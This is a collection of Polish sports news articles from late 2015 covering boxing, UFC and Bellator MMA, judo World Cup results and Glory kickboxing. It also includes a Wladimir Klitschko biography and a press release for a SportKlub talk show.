28-letni Masternak nadal pozostaje nadzieją polskiego boksu. Wydawało się, że pięściarz idzie dobrą drogą i w końcu dostanie szansę na rywalizację o pas mistrza świata. W czerwcu 2014 roku boksował o tymczasowy pas WBA w wadze junior ciężkiej, jednak niespodziewanie poległ w starciu z Yourim Kalengą. Tym samym szansa na rywalizację z Denisem Lebiediewem uciekła Polakowi. Masternak robił wszystko, aby wrócić do łask i odbudować swoją pozycję. Pokonał byłego pretendenta do tytułu mistrza świata wagi ciężkiej Jeana Marca Mormecka, który boksuje już raczej dla przyjemności, jednak „Master’ mógł odnotować wygraną z przeciwnikiem o znanym nazwisku. W końcu pojechał do RPA, gdzie niespodziewanie przegrał z Johnny’m Muellerem. Werdykt wywołał wiele kontrowersji. Sporo mówiło się o możliwości walki rewanżowej.

Już za niespełna miesiąc Masternak może być w innym miejscu w bokserskiej hierarchii. 12 grudnia „Master” będzie mógł odzyskać tytuł mistrza Europy, którego posiadaczem jest Tony Bellew. Walka odbędzie się w Londynie podczas gali, na której zmierzą się Anthony Joshua i Dillian Whyte. W tym roku Bellew stoczył już dwie walki i obie zakończył przed czasem. „Master” liczy na trzecie tegoroczne zwycięstwo, które pozwoli mu odzyskać tytuł mistrza Europy.

KM

Dwie mistrzynie podbiją Melbourne?

Galę UFC 193, która odbędzie się już 15 listopada uświetni występ dwóch wielkich mistrzyń. Gwiazdami wieczoru będą Ronda Rousey oraz nasza Joanna Jędrzejczyk.

Polka przebojem wdarła się do najlepszej organizacji mieszanych sztuk walki na świecie. Jędrzejczyk pokazała swój potencjał, serce do walki, co pozwoliło jej wywalczyć pas mistrzowski w wadze słomkowej. W Melbourne po raz drugi będzie broniła tytułu.

Pewna swego

Joanna Jędrzejczyk rozkręciła się na dobre. W trzecim pojedynku w UFC rywalizowała o miano najlepszej fighterki w wadze słomkowej. Carla Esparza nie znalazła sposobu na Polkę, która podczas marcowej gali UFC 185 zdominowała swoją rywalkę. Jędrzejczyk słała kolejne ciosy w stronę Amerykanki i pod koniec drugiej rundy mogła świętować swoje zwycięstwo. Na nic zdało się bogate doświadczenie Esparzy w organizacji Invicta. Efektowny występ dał Jędrzejczyk dodatkowe pięćdziesiąt tysięcy dolarów za pojedynek wieczoru.

Polka osiągnęła swój cel i stała się gorącym towarem na amerykańskim rynku. Pewna siebie, a zarazem zabójczo skuteczna 28-latka stała się gwiazdą UFC. Przed pojedynkiem z Jessicą Penne zrobiła prawdziwe show. Na konferencji prasowej wręczyła rywalce naszyjnik z makaronu penne. Z jednej strony odwaga i pewność siebie, z drugiej ktoś powie – przesada. W tym przypadku widać, że Jędrzejczyk świetnie zrozumiała warunki panujące w tym świecie i chce w pełni wykorzystać swoją szansę. O jej poziom sportowy nie należy się obawiać. W Berlinie podczas pierwszej obrony pasa w trzeciej rundzie odprawiła Penne. Jędrzejczyk wystrzeliła w stronę rywalki aż 126 ciosów! 15 listopada 28-latka stanie przed kolejnym wyzwaniem. Valerie Letourneau podejmie próbę pozbawienia Jędrzejczyk tytułu mistrzowskiego. Czy jej się uda? Kanadyjka półtora roku temu debiutowała w UFC i do tej pory stoczyła trzy pojedynki. Wszystkie zakończyły się jej wiktorią w wyniku decyzji sędziów. Jędrzejczyk jest przygotowana na rywalizację na pełnym dystansie, jednak jeśli podkręciła tempo spokojnie może wygrać przed czasem. W dwóch ostatnich walkach potwierdziła, że pod naporem jej ciosów rywalki miękną.

Szybko jak zawsze

Na gali w Melbourne zaprezentuje się również najważniejsza kobieta UFC, czyli Ronda Rousey. Amerykanka jest gwiazdą organizacji, a zarazem magnesem, który budzi największe zainteresowanie.

Cztery ostatnie pojedynki mistrzyni wagi koguciej kończyła w pierwszych rundach. Podczas UFC 175 uporała się z Alexis Davis w zaledwie szesnaście sekund. Precyzyjna, perfekcyjna do bólu, skuteczna – taka jest Rousey. Jej rywalki drżą przed nią, jeszcze żadnej nie udało się wytrwać pełnego dystansu w walce z amerykańską gwiazdą. Czy pierwszą będzie Holly Holm? 34-letnia zawodniczka to doświadczona wojowniczka, która jeszcze nigdy nie przegrała. W UFC debiutowała w lutym 2015 roku pokonując Raquel Pennington. Do amerykańskiej organizacji przyszła z myślą, żeby wywalczyć o mistrzowski pas. Dość szybko dostała szansę rywalizacji o tytuł. Czy ją wykorzysta?

Kibice MMA będą mogli podczas jednej gali zobaczyć dwie najlepsze fighterki UFC. Która zaprezentuje się lepiej? Wydaje się, że przed Joanną Jędrzejczyk jeszcze dużo pracy, aby dorównać Rondzie Rousey. Amerykanka to niekwestionowana gwiazda, która potrafi zakończyć pojedynek w mgnieniu oka. Z kolei Polka wchodzi na pierwszy plan z bogatym repertuarem, ale na obecną chwilę jest numerem 2. Pozycja Rousey wydaje się niezagrożona. Chyba, że w Melbourne dojdzie do trzęsienia ziemi.

KM

Kto będzie wyglądał gorzej?

Boks to nie jest sport dla słabych. Tu liczy się precyzja, szybkość i wbrew pozorom – mądrość. Można słać miliony ciosów w stronę rywala, a on uderzy tylko raz, ale skutecznie, co przełoży się na zwycięstwo. Kto jest faworytem starcia Miguel Cotto vs Saul „Canelo” Alvarez?

Rozpoczęło się odliczanie do istotnego dla rozkładu sił w wadze średniej pojedynku. Już 21 listopada do ringu w Las Vegas wejdą Portorykańczyk i Meksykanin. To jeden z dwóch najgorętszy bokserskich pojedynków tej jesieni. Tydzień później w Duesseldorfie dojdzie do starcia Władimira Kliczko i Tysona Fury.

Wiedza kontra pragnienia

Warto pochylić się nad Miguelem Cotto, żeby zrozumieć pewien fenomen. Portorykańczyk na zawodowych ringach rywalizuje już czternaście lat. Pierwsze znaczące osiągnięcie Cotto zanotował w 2003 roku, kiedy wywalczył wakujący pas WBC International w wadze superlekkiej. Pięściarz w jedenastej rundzie dał kres wysiłkom Cesara Bazana. Z każdą kolejną walką Portorykańczyk dojrzewał i przemykał przez kolejne kategorie wagowe. Pasy mistrzowskie zdobywał w kategoriach: junior półśredniej, półśredniej, lekkośredniej. Obecnie Cotto znajduje się w posiadaniu tytułu czempiona WBC wagi średniej.

Cotto to doświadczenie, osobowość, tytan pracy. Jednym słowem postać współczesnego boksu. Jego wytatuowane ciało kojarzą wszyscy fani pięściarstwa. Cotto jest zawodnikiem, którego walki ogląda się z zaciekawieniem. Portorykańczyk walczy efektownie i nie kalkuluje. Szybko potrafi sprowadzić swojego rywala na ziemię. Tak jak w przypadku ostatniego starcia, w którym zmierzył się z Danielem Geale'm. Australijczyk już w czwartej rundzie zdany był na porażkę.

21 listopada Cotto stanie naprzeciw młodego wilka, a zaraz jastrzębia, który będzie chciał wyrwać z rąk Portorykańczyka mistrzowski pas. „Canelo” imponuje, gdyż mimo młodego wieku stoczył już blisko pięćdziesiąt walk na zawodowym ringu. 25-latek w trzydziestu dwóch przypadkach kończył rywalizację przed czasem. 

Młodość nie pomoże

Atutem Alvareza może być wiek. Meksykanin jest młodszy, ma lepszą kondycję, ale czy to przesądzi o jego zwycięstwie. Trener Cotto Freddie Roach docenia możliwości „Canelo”. – Alvarez ma dobrą prawą rękę, którą może nokautować. On wchodzi do ringu, żeby walczyć. Zastanawiam się, czy będzie nadal tak przystojny po walce. Cotto jest lepszym pięściarzem niż wcześniej. Ma trenera, któremu ufa, a ja boksera, którego obdarzyłem zaufaniem. "Canelo" może czerpać z młodości, ale w tej walce będzie pomagała mu do czasu. Później głos będzie należał do Cotto – mówi Roach.

Meksykanin zdaje sobie sprawę, że staje przed trudnym wyzwaniem, ale właśnie taki jest jego cel. 25-latek chce rywalizować z najlepszymi, aby potwierdzać swoją wartość. – Będzie to dla mnie ważna walka. Moim celem jest walka z najlepszymi. W ten sposób zdobywa się uznanie w środowisku, mediach i wśród fanów. Wszyscy znają mój styl walki i mają świadomość, że chcę dawać radość tym, którzy oglądają moje pojedynki. Nigdy nie cofam się przed wyzwaniami i nadal tak będzie – zapewnia Alvarez.

Stary lis kontra młody gniewny. Będzie się działo i to w Las Vegas. Czy może być lepsze miejsce na takie pojedynki? Być może 21 listopada narodzi się nowy król Las Vegas. Do niedawna był nim Floyd Mayweather Jr.

KM

Polka stanęła na podium

Mauritius szczęśliwy dla Katarzyny Furmanek. Nasza judoczka z nadziejami jechała na zawody Pucharu Świata. Furmanek liczyła na zwycięstwo, które da jej sto punktów do rankingu olimpijskiego. Polka zajęła drugą lokatę, co należy rozpatrywać jako dobry występ.

Furmanek czekała na start, który pozwoli jej zasilić konto w wyścigu olimpijskim. Do Rio de Janeiro pojedzie czternaście najlepszych zawodniczek z każdej kategorii wagowej. Drugie miejsce dało naszej zawodniczce sześcidziesiąt punktów.

Tak jak w Casablance

Startująca w kategorii +78kg Furmanek bardzo dobrze rozpoczęła tegoroczne starty. Już niejednokrotnie wspominaliśmy jej pierwsze miejsce w Pucharze Świata w Pradze. Początek roku napawał optymizmem, gdyż przed naszymi judokami były Igrzyska Europejskie w Baku oraz mistrzostwa świata w Astanie. Jak wiemy, indywidualnie Polacy nie zachwycili. Warto wspomnieć, że na otarcie łez nasza żeńska kadra sięgnęła po wicemistrzostwo świata. W składzie znalazła się również Katarzyna Furmanek.

Wracając do startu Furmanek na Mauritiusie. Polka przystępowała do rywalizacji z nadziejami. Podczas ostatniego Grand Slam w Abu Zabi stoczyła tylko dwie walki. Zmagania szybko zakończyły się dla reprezentantki Polski, niestety bez sukcesu. W niższych rangą zawodach Pucharu Świata judoczka AZS AWFiS Gdańsk pokazała się z dobrej strony. Nina Cutro-Kelly nie dała się pokonać w regulaminowym czasie, jednak nie zawsze stosowała czyste zagrania. Zemściło się to na Amerykance, która przegrała przez shido. Kolejną przeszkodą na drodze Polki była Samantha Da Cunha. Furmanek szybko rozprawiła się ze swoją rywalką przez ippon. Reprezentantka Polski była na najlepszej drodze, aby sięgnąć po złoto i podreperować swój stan punktowy. W finale trafiła na Sonię Asselah. 24-letnia zawodniczka do tej pory sukcesy odnosiła na kontynencie afrykańskim, udało jej się również wziąć udział w Igrzyskach Olimpijskich w Londynie. Furmanek nie znalazła jednak recepty na reprezentantkę Algierii. Polka musiała zadowolić się drugą pozycją.

Dodatkowo występ nie zakończył się szczęśliwie dla Polki. Zawodnika AZS AWFiS Gdańsk doznała kontuzji kciuka. Po wykonaniu badań będzie wiadomo, jak długa przerwa czeka Furmanek.

Panowie bez rewelacji

Swojej sytuacji w walce o bilet do Rio de Janeiro nie poprawili Aleksander Beta (66kg) i Jakub Kubieniec (81kg). Mówiąc krótko – Polacy na Mauritiusie nie zachwycili.

Beta miał chwilę radości w zawodach Pucharu Świata. W pierwszej walce reprezentant Polski spotkał się z Jesusem Gavidią Mendozą i odniósł zwycięstwo przed czasem. Kolejnym rywalem Bety był Patrick Gagne. Kandayjczyk szybko uporał się z naszym zawodnikiem, okazał się niezwyciężony również w kolejnych walkach, co dało mu wygraną w kategorii 66kg.

Z kolei Jakub Kubieniec odpadł z rywalizacji już w pierwszej walce. Pogromcą Polaka okazał się Husejn Rahimli.

KM

Władimir Kliczko

Ukraiński bokser wagi ciężkiej urodzony 25 marca 1976 roku w Semipałatyńsku. Największym sukcesem amatorskim Władimira Kliczko był złoty medal w wadze super ciężkiej zdobyty na Igrzyskach Olimpijskich w Atlancie w 1996 roku. Kliczko był też pięciokrotnym mistrzem Ukrainy, wicemistrzem Europy w 1996 roku, mistrzem Europy juniorów w 1993 roku oraz srebrnym medalistą mistrzostw Świata juniorów z 1994 roku. Jego bilans walk amatorskich to 112 walk wygranych i 6 porażek. W latach 90. był zawodnikiem m.in. warszawskiej Gwardii. Karierę zawodową rozpoczął w Niemczech razem ze swoim starszym o pięć lat bratem Witalijem. W swoim debiucie znokautował w pierwszej rundzie Fabiana Mezę. W ciągu dwóch następnych lat stoczył łącznie 24 pojedynki. Wszystkie wygrał, większość kończąc nokautem w pierwszych rundach. 5 grudnia 1998 roku doznał pierwszej porażki walcząc z Amerykaninem Rossem Puritty.  W 1999 roku wygrał wszystkie siedem walk, w tym z Axelem Schulzem o mistrzostwo Europy. Kolejny rok był dla Kliczki bardzo udany. Najpierw pokonał przed czasem trzech kolejnych rywali: Paea Wolfgramma, Davida Bostice oraz Monte Barretta. W październiku dostał szansę walki o mistrzostwo świata organizacji WBO z Chrisem Byrdem. Władimir miał w tej walce zdecydowaną przewagę i wygrał na punkty. W 2001 roku Kliczko stoczył dwie walki w obronie pasa mistrzowskiego. Nie dał w nich swoim rywalom żadnych szans, pokonując przez techniczny nokaut najpierw Derricka Jeffersona, a następnie Charlesa Shufforda. Następny rok to kolejne trzy udane obrony z Francois Bothą, Rayem Mercerem oraz z Jameelem McCline. Tytuł mistrzowski stracił 8 marca 2003 roku, w swojej szóstej obronie, z południowoafrykańskim bokserem Corrie Sandersem. Walkę przegrał przez techniczny nokaut  w drugiej rundzie. Po dwóch kolejnych łatwo wygranych walkach w Niemczech, Kliczko zmierzył się z Lamonem Brewsterem o wakujący tytuł mistrza świata federacji WBO, ponieważ Corrie Sanders zrzekł się go aby móc walczyć z Witalijem Kliczko o pas mistrzowski organizacji WBC. Walka odbyła się 10 kwietnia 2004 roku w Las Vegas. Przez cztery pierwsze rundy Ukrainiec miał znaczną przewagę. W czwartej rundzie po ciosie Kliczki Brewster leżał na deskach. Jednak w następnej rundzie sytuacja się odwróciła. Po serii silnych ciosów Władimir był liczony, a po zakończeniu piątej rundy najpierw upadł, a później nie mógł dojść o własnych siłach do swojego narożnika. Sędzia był zmuszony zakończyć walkę. Po pokonaniu w dwóch następnych pojedynkach DaVarryla Williamsona i Eliseo Castillo. Kliczko stanął do walki eliminacyjnej o pozycję numer jeden w rankingu organizacji IBF i WBO. Jego rywalem był Nigeryjczyk Samuel Peter. Ukrainiec wygrał ten pojedynek na punkty. 22 kwietnia 2006 roku stoczył kolejną walkę o tytuł mistrza świata, tym razem organizacji IBF. Jego rywalem był po raz drugi Chris Byrd. Pojedynek miał jednostronny przebieg i zakończył się wygraną Kliczki przez techniczny nokaut w siódmej rundzie. W listopadzie 2006 w siódmej rundzie zwyciężył z Calvinem Brockiem. 10 marca 2007 przez techniczny nokaut w drugiej rundzie pokonał Raya Austina, a 7 lipca udanie zrewanżował się Lamonowi Brewsterowi, pokonując go w szóstej rundzie. 23 lutego 2008 roku Kliczko stoczył walkę unifikacyjną z mistrzem WBO, Sułtanem Ibragimowem. Kliczko wygrał pojedynek na punkty. 12 lipca tego samego roku pokonał przez techniczny nokaut Tony Thompsona. W ostatniej walce w 2008 roku w grudniu pokonał przez techniczny nokaut Hasima Rahmana.2 lipca 2011 roku w walce unifikacyjnej jednogłośnie na punkty pokonał mistrza świata federacji WBA Davida Haye’a. 3 marca 2012 roku zmierzył się z byłym mistrzem wagi junior ciężkiej Jean-Marc Mormeckiem, pokonując go przez TKO w czwartej rundzie. 7 lipca 2012 skrzyżował rękawice z Tonym Thompsonem, w rewanżu za walkę sprzed czterech lat. Kliczko pokonał go przez techniczny nokaut w szóstej rundzie. Na 10 listopada 2012 zakontraktowane walkę Kliczki z Mariuszem Wachem. Kliczko wygrał ten pojedynek na punkty. 4 maja 2013 roku pokonał w szóstej rundzie przez TKO Włocha Francesca Pianete. 5 października 2013 w Moskwie pokonał na punkty Aleksandra Powietkina jednogłośną decyzją sędziów. W 2014 roku Kliczko stoczył dwie walki, w których pokonał Alexa Leapai oraz Kubrata Puleva. 25 kwietnia 2015 roku w nowojorskiej Madison Square Garden broniąc tytułu, Kliczko wygrał jednogłośnie na punkty z Amerykaninem Bryantem Jenningsem. 28 listopada 2015 roku przegrał przez jednogłośną decyzję sędziów z Tysonem Furym. Ukrainiec tym samym stracił swoje tytuły WBA, IBF, WBO i IBO. 

Krzysztof Diablo Włodarczyk w programie " Cwany Gapa".

W poniedziałek, 9 listopada br. zadebiutuje na antenie stacji SportKlub nowy program publicystyczny „Cwany Gapa”. Poprowadzi go Kamil Gapiński. Gościem pierwszego odcinka programu będzie Krzysztof Diablo Włodarczyk.

 

 

 

Cwany Gapa” to sportowy program publicystyczny. Prowadzący Kamil Gapiński będzie zapraszał do studia gwiazdy sportu i świata dziennikarstwa na dynamiczne, piętnastominutowe rozmowy – o ich życiu, karierze i pasjach.

Jak to jest stawiać każdego dnia czoła ciężkiemu reżimowi treningowemu? Jak to jest być sławnym i rozpoznawalnym? Czy wielkie pieniądze zmieniają ludzi? W jaki sposób herosi z pierwszych stron gazet walczą ze swoimi kryzysami? Jakie są ich plany na życie po życiu? Czy intensywne trenowanie może iść w parze z udanym życiem rodzinnym? Tego wszystkiego dowiedzą się widzowie programu.

Premierowe odcinki programu „Cwany Gapa” będą emitowane na antenie SportKlubu w każdy poniedziałek o godzinie 20:00. Powtórki programu będzie można oglądać regularnie w SportKlubie, a już po tygodniu na kanale stacji na YouTube oraz na stronie partnera – weszlo.com.

Za produkcję programu odpowiada firma Media Production.

Kamil Gapiński jest dziennikarzem z 15-letnim doświadczeniem. Ma na swoim koncie pracę m.in. w Przeglądzie Sportowym, Fakcie, Orange Sport oraz radiu TOK FM.

Zwiastun programu: [kod]

Cwany Gapa, z charyzmatycznym prowadzącym Kamilem Gapińskim, to format, który spełnia wszystkie założenia, jakie sobie postawiliśmy przystępując do jego realizacji. Przy okazji spotkań z największymi nazwiskami związanymi ze światem sportu, komentujemy bieżące, najważniejsze i najciekawsze wydarzenia. Gośćmi programu będą polscy sportowcy oraz dziennikarze. Dzięki temu uzyskamy dla naszych kanałów lokalny koloryt, co zważywszy na fakt, że pokazujemy głównie prawa międzynarodowe, jest dla nas i naszych widzów szczególnie wartościowe.” – mówi Joanna Stępniewska, Country Manager. 

Źródło: materiały prasowe

Pas cały czas u Robina

Robin van Roosmalen obronił pas mistrzowski w kategorii 70kg podczas Glory 25. Sitthichai Sitsongpeenong mimo, że był aktywny musiał pogodzić się z porażką w starciu z RvR na gali w kickboxingu, która odbyła się we włoskiej Monzy.

24-letni Taj zachwycał obserwatorów kickboxingu. Wygrał turniej Glory, dzięki któremu mógł stanąć do rywalizacji o pas. Dodatkowo Sitsongpeenong walczy bardzo widowiskowo i inteligentnie.

Holenderska marka

26-letni van Roosmalen nie spodziewał się chyba takiego przebiegu pojedynku. Ostatnie cztery walki Holender wygrał przez decyzję sędziów, więc był przystosowany do rywalizacji na pełnym dystansie. Jednak Taj zaskoczył mistrza.

Sitsongpeenong ze wszystkich sił starał się zneutralizować atuty rywala i nie pozwolić mu rozwinąć skrzydeł. Powszechnie wiadomo, że chwila nieuwagi może skutkować potężnym ciosem ze strony van Roosmalena. Taj starał się walczyć w dystansie. Miał również przewagę w zasięgu, co pozwalało mu również słać ciosy w kierunku Holendra. Van Roosmalen kilkukrotnie starał się zaskoczyć swojego oponenta mocnymi kopnięciami.

Aktywniejszy był jednak Sisongpeenong. Wydaje się, że przyjął dobrą taktykę, gdyż Holender w żaden sposób nie potrafił znaleźć recepty na Taja i w pełni przyjąć inicjatywy. Pięć rund miało podobny obraz. Van Roosmalen szukał, starał się, jednak nie był w stanie zaskoczyć tajskiego wojownika. Werdykt sędziowskim miał o wszystkim rozstrzygnąć. Taj zrobił wiele, aby wygrać, ale miano mistrza nadal przysługuje 26-letniemu holenderskiemu kickbokserowi.

Petrosyan wrócił

Istotnym elementem gali w Mediolanie był powrót Giorgio Petrosyana. Włoch stanął przed trudnym zadaniem, gdyż jego rywalem był niezwykle utalentowany i głodny zwycięstw Josh Jauncey. Kanadyjczyk bardzo chciał, jednak nie potrafił niczym zaskoczyć doświadczonego Włocha. 29-latek początkowo był ostrożny i uważny. Dobrze prezentował się w defensywie, czym neutralizował wszelkie atuty swojego rywala. Petrosyan od czasu do czasu skutecznie kontrował. W trzeciej rundzie Włoch przyspieszył, czym przypieczętował swoją wygraną na punkty.

Podczas Glory 25 odbyły się półfinały turnieju do 77kg. W pierwszym pojedynku zaprezentowali się Murthel Groenhardt i Nicola Gallo. Holender dyktował warunki rywalizacji. Pojedynek rozstrzygnął się w drugiej rundzie, kiedy to lekarz nie dopuścił Gallo do dalszej rywalizacji. Włoch doznał rozcięcia nad nosem.

Karim Ghajji okazał się lepszy od Yoanna Kongolo. Od początku starcia zawodnicy narzucili ostre tempo. Nie brakowało wymian i prób ciekawych ciosów. Obaj imponowali szybkością, zwrotnością, jednak lepiej prezentował się Szwajcar. Ghajji cały czas szukał swojej szansy, aby przechylić szalę zwycięstwa na swoją stronę. W trzeciej rundzie zawodnicy zwolnili tempo. Opadli z sił. Sędziowie zdecydowali, że na pełnym dystansie lepiej wyglądał Ghajji.

Pas nadal w rękach van Roosmalena, choć Taj pokazał wysoki poziom dojrzałości. Petrosyan udanie wrócił i nadal pokazuje, że stać go na dobre walki. W finale turnieju 77kg spotkają się Murthel Greonhardt i Karim Ghajji.

KM

Mauritius areną zmagań judoków

Tym razem nasi zawodnicy udali się do państwa wyspiarskiego, które znajduje się w południowo zachodniej części Oceanu Indyjskiego. Mauritius to egotyczne miejsce, ale tym razem właśnie tam o cenne punkty będą rywalizowali judocy w zawodach Pucharu Świata.

Swoich sił w rywalizacji spróbuje troje naszych reprezentantów. Największe nadzieje wiążemy ze startem Katarzyny Furmanek, która zaprezentuje się w kategorii +78kg. Wystąpią również Aleksander Beta (66kg) oraz Jakub Kubieniec (81kg).

Stać ją na zwycięstwo?

Katarzyna Furmanek liczy, że uda jej się zdobyć cenne punkty w wyścigu o kwalifikację olimpijską. Polka musi jeszcze włożyć trochę wysiłku, aby wywalczyć bilet do Rio de Janeiro. Obecnie judoczka AZS AWFiS Gdańsk w olimpijskim rankingu w swojej kategorii wagowej zajmuje siedemnastą lokatę, a na igrzyska olimpijskie pojedzie czternaście najlepszych zawodniczek.

Wygrana w zawodach Pucharu Świata rozgrywanych w Mauritiusie dałaby Furmanek sto punktów, a więc potężny zastrzyk punktowy. Polka w tym roku pokazała, że potrafi wygrywać międzynarodowe imprezy. Podczas Pucharu Świata w Pradze rywalizująca w kategorii +78kg judoczka stanęła na najwyższym stopniu podium. Srebrny medal nasza zawodniczka przywiozła z Cascablanki. Problem w tym, że najlepsze występy Furmanek notowała w pierwszym kwartale roku.

Teraz jej występy to sinusoida. Raz jest lepiej, a raz gorzej. W październiku Furmanek była o krok od podium w Pucharze Świata w Lizbonie. Judoczka została sklasyfikowana na piątym miejscu. A jak zaprezentowała się w ostatnim starcie? Podczas Grand Slam w Abu Zabi Polka stoczyła dwa pojedynki. Na początek rozprawiła się z Santą Pakenyte. Jednak w kolejnym starciu Furmanek musiała uznać wyższość Svitlany Iaromki. Ukrainka wygrała przez ippon.

W Maritiusie Polka będzie miała kolejną szansę na poprawienie swojego dorobku punktowego. Srebrna medalistka tegorocznych mistrzostw świata w drużynie może pokusić się o niespodziankę. Miejsce na podium byłoby krokiem do wywalczenia kwalifikacji olimpijskiej. Jeden dobry występ może dać naszej zawodnicze spokój i pewność, co sprawi, że do kolejnych startów będzie mogła podejść na większym luzie.

Panowie dwaj

Ostatnimi czasy nasi judocy rozczarowują. Stara się Maciej Sarnacki, który w Grand Slam w Abu Zabi wywalczył piątą lokatę i przy okazji doznał kontuzji. Tym samym zawodnik z Olsztyna walkowerem musiał oddać rywalizację o podium.

Aleksander Beta nie notuje w tym roku tak dobrych startów jak w poprzednim. Z kolei Jakub Kubieniec może pochwalić się brązowym medalem zdobytym podczas Pucharu Świata w Warszawie. Być może na koniec roku panowie powiększą swój dorobek punktowy. Na obecnym etapie dla obu wyjazd do Rio to odległa perspektywa, jednak mają jeszcze czas, aby walczyć. Muszą wspiąć się na wyżyny.

KM

Pas nie dla Helda

Występu w St. Louis Marcin Held nie będzie wspominał miło. Zapewne w sercu zawodnika pozostał żal, że nie udało się wywalczyć mistrzowskiego pasa Bellatora w wadze lekkiej. Will Brooks okazał się lepszy i wygrał na punkty.

Held stanął przed życiową szansą podczas gali Bellator 145. W wieku 23-lat mógł zostać mistrzem czołowej organizacji mieszanych sztuk walki na świecie. Polski talent musi jeszcze poczekać, ale doświadczenie walki o pas może okazać się cenne.

Szukał poddania

Marcin Held przyzwyczaił, że potrafi kończyć swoje walki efektownie. Większość pojedynków wygrywał przez poddanie. Również takiego rozwiązania Polak próbował w starciu o pas mistrzowski, jednak jego wysiłki nie przyniosły pożądanego efektu.

23-latek z Tych dobrze wszedł w walkę. Dominował w pierwszej rundzie i pokazał Amerykaninowi, że jest gotów odebrać mu pas. Brooks przeżywał trudne chwile. Held słał w jego stronę kolejne ciosy aż w końcu doprowadził do sprowadzenia. Polak na ziemi szukał możliwości założenia dźwigni, jednak 29-latek skutecznie się bronił i w końcu wstał. Po chwili obalił Helda, ale ten dobrze radził sobie będąc na plecach. Polak nie ustawał w swoich próbach. Najpierw starał się założyć dźwignię na łokieć, a później na kolano.

Polak dobrze rozpoczął, jednak doświadczenie Brooksa dało o sobie znać. W drugiej rundzie mistrz stopniowo przejmował inicjatywę. Obalił Helda, a następnie zastosował duszenie trójkątne i obijał rywala. Trzecią rundę Polak chciał rozpocząć od sprowadzenia, jednak próba ta okazała się nieudana. Brooks znalazł się z góry i mógł rozdawać karty. Held starał się bronić przed ciosami mistrza, jednak był coraz bardziej zmęczony. Dodatkowo przy jego prawym oku pojawiło się rozcięcie. Brooks wysuwał się na prowadzenie.

Ostatnia prosta

29-letni Amerykanin przyzwyczajony jest do pięciorundowych starć. Kondycja Brooksa jest imponująca, a Held po trzech rundach wyraźnie osłabł, jednak musiał dalej szukać swojej szansy.

Zmęczenie dawało o sobie znać. Już w czwartej rundzie Held był zdecydowanie wolniejszy i trochę nieporadny. Złapał nogę Brooksa, jednak próba sprowadzenia nie powiodła się i Polak wylądował na plecach. Ostatnia odsłona również na korzyść Amerykanina. Held szukał jeszcze swojej szansy, jednak w parterze to 29-latek częściej był z góry i obijał naszego zawodnika.

Brooks mógł cieszyć się z kolejnej wygranej i skutecznej obrony pasa mistrzowskiego. Held pokazał, że ma potencjał, jednak do występów na tak długim dystansie nie jest odpowiednio przygotowany. Doświadczenie Brooksa odegrało istotną rolę. Dla Helda to ważna walka, która może zaprocentować w przyszłości. Polak pokazał, że stać go na wiele i w Bellatorze może stoczyć jeszcze wiele fantastycznych walk. Ma dopiero 23 lata, a wygrał już turniej wagi lekkiej i walczył o pas. Held to talent czystej wody i może jeszcze wiele namieszać w świecie MMA.

KM

Co dalej z Wachem?

Pojedynek z Aleksandrem Powietkinem miał dać odpowiedź na pytanie, w jakim miejscu bokserskiej kariery znajduje się Mariusz Wach. Z jednym z najlepszych pięściarzy wagi ciężkiej Polak nie miał szans.

Walka z Rosjaninem był dla Wacha szansą na powrót do  światowej czołówki. Popularny „Wiking” nie był uznawany za faworyta pojedynku, jednak w sercach tliła się nadzieja. Rywalizacja polsko-rosyjska, zwłaszcza w Dniu Jedności Narodowej (4 listopada w Rosji), wzbudzała emocje, a przede wszystkim ciekawość.

Zachowawczy Wach

Walka miała swój ciężar gatunkowy. Aleksandr Powietkin w swoich dłoniach dzierży pas WBC Silver. Wach miał szansę na zdobycie pasa, powrót na bokserskie salony i wywalczenie statusu oficjalnego pretendenta do tytułu mistrza świata i rywalizacji z Deontayem Wilderem.

Początek pojedynku w Kazaniu zachowawczy. Obaj pięściarze starali się wyczuć swoje możliwość. Wach nie chciał podzielić losu Andrzeja Wawrzyka, który w 2013 roku spotkał się z Powietkinem i już w trzeciej rundzie został znokautowany. „Wiking” był ostrożny i wycofany, trzymał szczelną gardę, a w razie konieczności uciekał się do klinczu. Początkowo „Sasza” nie mógł narzucić swoich warunków. Rosjanin zadawał ciosy, jednak Wach pozostawał niewzruszony. Z kolei Polak był oszczędny, dopiero w piątej rundzie ruszył do przodu i w końcu trafił rywala. Jeden prawy zrobił wrażenie na Powietkinie. Czas działał na korzyść Rosjanina. Wach był coraz bardziej zmęczony, Powietkin parł do przodu. Wyraźnie było widać, że kondycyjnie Polak stopniowo siada. Dominacja „Saszy” rosła i można było odliczać oraz wyrokować, kiedy pojedynek dobiegnie końca. W ringu miała miejsce swoista „obrona Częstochowy”. Wach przyjmował kolejne ciosy, a jego oko puchło coraz bardziej.

Polak wyglądał coraz gorzej. Słaniał się na nogach i zbierał kolejne ciosy. W dwunastej rundzie sędzia przerwał pojedynek. Wach przegrał. Nie wykorzystał szansy.

Koniec marzeń?

To, że Wach przez lata znajdował się w przedpokoju wagi ciężkiej to fakt. Wielki chłopisko, którym trudno zachwiać, a jego cios może w jednej chwili zakończyć pojedynek. Toczył kolejne boje i w końcu dostąpił zaszczytu walki o mistrzostwo świata. Przegrał z Władimirem Kliczko. Była to pierwsza porażka w jego karierze. Po pojedynku rozpoczął się dramat „Wikinga”. W jego organizmie wykryto niedozwolone substancje i musiał odpocząć od boksu dwa lata.

Wrócił. Stoczył cztery pojedynki. Widać było, że z kondycją u Wacha nie jest najlepiej, brak mu świeżości. Walczył z kelnerami i wygrywał. W końcu przyszedł czas na weryfikację możliwości. Powietkin pokazał Wachowi dobry boks, bo nic więcej. Rosjanin był konsekwentny, a Polak bierny. Wydaje się, że Wach stracił szansę na kolejne walki w świetle jupiterów. Nadal pozostaje mocnym nazwiskiem, ale już tylko na polskim rynku.

KM

Peter Graham

